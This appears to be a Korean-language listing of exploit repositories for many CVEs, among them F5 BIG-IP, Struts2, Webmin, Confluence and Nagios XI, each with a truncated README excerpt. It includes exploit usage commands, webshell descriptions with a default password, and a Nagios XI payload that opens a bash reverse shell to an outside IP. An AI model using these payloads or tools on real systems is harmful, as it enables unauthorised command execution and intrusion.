CVE-2021-29003

CVE-2021-29003 https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/ 익스플로잇 DB https://www.exploit-db.com/exploits/49764 Medium https://sharmajijvs.medium.com/how-i-got-my-first-cve-af2c3009e409 Unit 42 palo alto networks...

CVE-2022-22954

다중 취약점 트리거 포인트 탐지, 멀티스레드 일괄 탐지, 명령 실행, 파일 쓰기 // 단일 대상 취약점 탐지 python CVE-2022-22954.py -u https://x.x.x.x // 명령 실행 python CVE-2022-22954.py -u https://x.x.x.x -c "id" // 파일 쓰기 python CVE-2022-22954.py -u https://x.x.x.x -fn test.jsp -fc "test" // 파일 업로드, Windows에서 파일명 설정 시 경로 지정 필요 python...

CVE-2022-1388

CVE-2022-1388 https://support.f5.com/csp/article/K23605346 이 취약점으로 인해 인증되지 않은 공격자가 관리 포트 및/또는 자체 IP 주소를 통해 BIG-IP 시스템에 네트워크로 접근하여 임의의 시스템 명령 실행, 파일 생성 또는 삭제, 서비스 비활성화를 수행할 수 있습니다. F5IP에 F5 IP 주소를 기록한 후 CVE-2022-1388scan.sh를 실행하면, 취약점이 존재할 경우 다음이 출력됩니다. 참고:...

FollinaXploit

Follina Exploiter CLI 도구 MSDT 취약점 CVE-2022-30190 MSDT지원 진단 도구의 제로데이 취약점을 악용하기 위한 명령줄 기반 파이썬 도구로, 'Follina' CVE-2022-30190로도 알려져 있습니다. 정보 : 공격에서 PowerShell을 실행하는 데 사용된 새로운 Microsoft Office 제로데이 Python3.10.4으로 제작됨 기능 1. 피해자 장치에서 악성 명령 실행. 2. 리버스 셸 NetCat 획득. 3. .rtf 파일용 제로 클릭 RTF 포함. 신규 요구 사항...

Struts2-045-Exp

Struts2 S2-045 CVE-2017-5638 Exp 도구 Exp 기능: 명령 실행 대상 웹사이트의 물리적 경로 가져오기 파일 업로드 Getshell Chopper용 기본 웹셸 HTTP/HTTPS 지원 모든 포트의 URL 지원 참고: 기본 웹셸의 비밀번호는 s2045@exp입니다 공지 이 프로젝트는 교육/연구 목적으로 제작되었습니다. 메일: [email protected]...

CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL 종합 도구로, 명령어 출력 확인, 일괄 명령어 출력, 외부 XML을 이용한 무출력 명령어 실행 등의 기능을 지원합니다. 필요 모듈: requests, http.client 도구는 승인된 보안 테스트에만 사용하십시오. 불법 사용은 금지되며, 위반 행위와 관련된 책임은 저자에게 있지 않습니다. 명령어 출력 모듈의 알려진 성공 버전: 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 옵션 기능 1: 명령어 출력 python3...

rome-webshell

Rome WebShell 강력하고 매력적인 PHP 웹쉘 경량 PHP 웹쉘 로, 바닐라 JavaScript와 CSS만 사용하며, jQuery/Bootstrap의 불필요한 부담이 없습니다. 기능 완전 대화형 파일 탐색기 , 디렉토리 탐색 및 즉시 파일 다운로드 브라우저에서 직접 파일 업로드 페이로드를 'URL 인코딩'하지 않고 명령 실행 MD5 비밀번호 보호 , 예를 들어 King of the Hill 게임 중 접근 제한에 유용 완전 CSS 애니메이션, 반응형 및 매력적인 FlatUI 인터페이스 쉽게 사용자 정의 가능, CSS 변...

CVE-2023-26035

CVE-2023-26035 ZoneMinder 스냅샷 - 비인증 설치 저장소 가져오기 $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git 설정 참고: 최신 버전의 node를 설치하세요. $ npm init $ npm i axios cheerio yargs 사용법 ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node exp.js -h Options: --version Show version...

CVE-2021-41730

TENDA 인증 원격 명령 실행 익스플로잇 작성자: SHENGXI [email protected] 제조사: TENDA CVE-2021-41730 - /bin/httpd 펌웨어 버전: AC15: =USAC15V1.0BRV15.03.05.20multiTDE01.bin AC6: USAC6V1.0BRV15.03.05.16multiTD01.bin ....... 하드웨어 링크: https://www.tendacn.com/en/download/detail-3858.html 취약점 상세 정보 httpd 바이너리에서 유효한...

Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 향상된 취약점 익스플로잇 도구 - 명령 실행 및 리버스 쉘 이중 모드 지원 !IMPORTANT Webmin CVE-2022-0824 취약점을 위한 향상된 익스플로잇 도구로, 직접 명령 실행과 리버스 쉘 두 가지 모드를 지원합니다. 🚀 특징 ✅ 이중 모드 지원 : 명령 실행 모드 + 리버스 쉘 모드 ✅ 다양한 페이로드 : Perl, Bash, Python 세 가지 페이로드 ✅ 스마트 파일 관리 : 고유 파...

CVE-2019-15107

CVE-2019-15107 Python 익스플로잇 CVE-2019-15107 webmin 감사의 글 Metasploit 모듈을 기반으로 함 https://www.exploit-db.com/exploits/47230 원본 권고: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

OpenSMTPD-CVE-2020-7247-

OpenSMTPD 원격 명령 실행 취약점 CVE-2020-7247 WHS 4기 박솔민 원본 링크: https://github.com/vulhub/vulhub/blob/43eae7170d09e7748c3aac64cd6a8e5af508a8ef/opensmtpd/CVE-2020-7247/README.md 개요 OpenSMTPD는 Unix 계열 운영체제에서 사용되는 SMTP 서버 프로그램이다. BSD, macOS, GNU/Linux 등에서 사용할 수 있으며, RFC 5321 SMTP 프로토콜을 기반으로 동작한다...

Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed

Nuclei 템플릿 CVE-2022-1388 BIG-IP iControl REST 노출 2022년 5월 6일 이 템플릿은 인증 엔드포인트를 호출하여 API의 존재 여부만 확인합니다. 이 취약점으로 인해 관리 포트 및/또는 셀프 IP 주소를 통해 BIG-IP 시스템에 네트워크 접근 권한이 있는 인증되지 않은 공격자가 임의의 시스템 명령을 실행하거나, 파일을 생성·삭제하거나, 서비스를 비활성화할 수 있습니다. 데이터 플레인data plane 노출은 없으며, 이는 컨트롤 플레인control plane 문제일 뿐입니다. 이 템플릿은...

CVE-2022-26134_conFLU

CVE-2022-26134 - conFLU Atlassian Confluence의 CVE-2022-26134를 익스플로잇하기 위한 PoC 익스플로잇 사용법 python3 conFLU.py -h Usage: conFLU.py -h -u URL -f F -cmd CMD optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD command 단일...

CVE-2021-31805

CVE-2021-31805 1.소개 Struts2 원격 명령 실행 취약점 CVE-2020-17530 및 CVE-2021-31805 POC&EXP 2.사용법 매개변수 설명 -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 응답이 있는 탐지 Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测 응답이 없는 탐지 请自行注册ceye，并配置好ceye.ini Struts2RCE -u...

CVE-2019-20197

CVE-2019-20197 Nagios XI 원격 명령 실행 취약점 = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite POST...

CVE-2025-29306-PoC-FoxCMS-RCE

CVE-2025-29306 - FoxCMS 원격 코드 실행 익스플로잇 CVE-2025-29306에 대한 Python 익스플로잇입니다. FoxCMS의 원격 코드 실행 취약점을 대상으로 합니다. 이 도구를 사용하면 단일 대상 테스트 또는 여러 호스트를 일괄 스캔할 수 있습니다. 기능 단일 대상 또는 대량 스캔 지원 다중 스레드로 빠른 스캔 명령 실행 결과를 포함한 상세 출력 결과 자동 파일 저장 실시간 진행 상황 보고 취약한 호스트의 깔끔한 요약 테이블 설치 git clone...

CVE-2020-11651

CVE-2020-11651 CVE-2020-11651에 대한 PoC Python3 필요, 3.8에서 테스트 완료 python3.8 -m pip install pyzmq msgpack ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 positional arguments: server 대상 서버 IP 또는 호스트 optional arguments: -h,...

CVE-2021-21809

CVE-2021-21809 POC CVE 세부 정보: Moodle 3.10의 기본 레거시 맞춤법 검사기 플러그인에 명령 실행 취약점이 존재합니다. 특별히 조작된 일련의 HTTP 요청으로 명령 실행이 가능합니다. 공격자는 이 취약점을 악용하기 위해 관리자 권한이 있어야 합니다. 아래 동영상에서는 Metasploit을 사용하지 않고 이 취약점을 악용하여 Golden Eye 1 OSCP Lab에 접근하는 방법을 보여줍니다. GoldenEye 1 확인: https://www.vulnhub.com/entry/goldeneye-1,240...

CVE-2011-1571

CVE-2011-1571 요약 Apache Tomcat을 사용할 때 Liferay Portal Community EditionCE 5.x 및 6.0.6 GA 이전 6.x의 XSL Content portlet에서 명시되지 않은 취약점이 발견되었으며, 원격 공격자가 알려지지 않은 벡터를 통해 임의의 명령을 실행할 수 있습니다. CVE 상세 : https://www.cvedetails.com/cve/CVE-2011-1571/ PoC :...